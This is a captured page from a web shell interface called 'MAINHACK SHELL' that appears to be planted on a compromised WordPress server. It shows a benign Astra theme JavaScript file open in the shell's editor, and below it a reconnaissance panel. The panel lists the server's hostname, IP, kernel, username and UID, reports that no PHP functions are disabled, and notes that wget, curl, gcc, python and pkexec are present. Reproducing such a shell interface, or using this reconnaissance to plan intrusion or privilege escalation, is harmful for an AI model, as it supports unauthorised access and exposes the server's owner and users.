[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: frame.js
var Frame = wp.media.view.Frame, AstraAttachmentsBrowser; wp.media.view.AstraContent = require( './content.js' ); AstraAttachmentsBrowser = Frame.extend( { tagName: 'div', className: 'attachments-browser ast-attachments-browser', images: [], object: [], initialize: function () { _.defaults( this.options, { filters: false, search: true, date: true, display: false, sidebar: true, AttachmentView: wp.media.view.Attachment.Library, } ); // Add a heading before the attachments list. this.createContent(); }, createContent: function () { this.attachmentsHeading = new wp.media.view.Heading( { text: astraImages.title, level: 'h3', className: 'ast-media-views-heading', } ); // this.views.add( this.attachmentsHeading ); this.views.add( new wp.media.view.AstraContent() ); this.$el .find( '.ast-image__search' ) .wrapAll( '<div class="ast-image__search-wrap">' ) .parent() .html(); this.$el .find( '.ast-image__search-wrap' ) .append( '<span class="ast-icon-search search-icon"></span>' ); }, photoUploadComplete: function ( savedImage ) { if ( savedImage && savedImage.attachmentData ) { this.model.frame.content.mode( 'browse' ); this.model.get( 'selection' ).add( savedImage.attachmentData ); this.model.frame.trigger( 'library:selection:add' ); this.model.get( 'selection' ); jQuery( '.media-frame .media-button-select' ).click(); } }, } ); module.exports = AstraAttachmentsBrowser;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 215.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042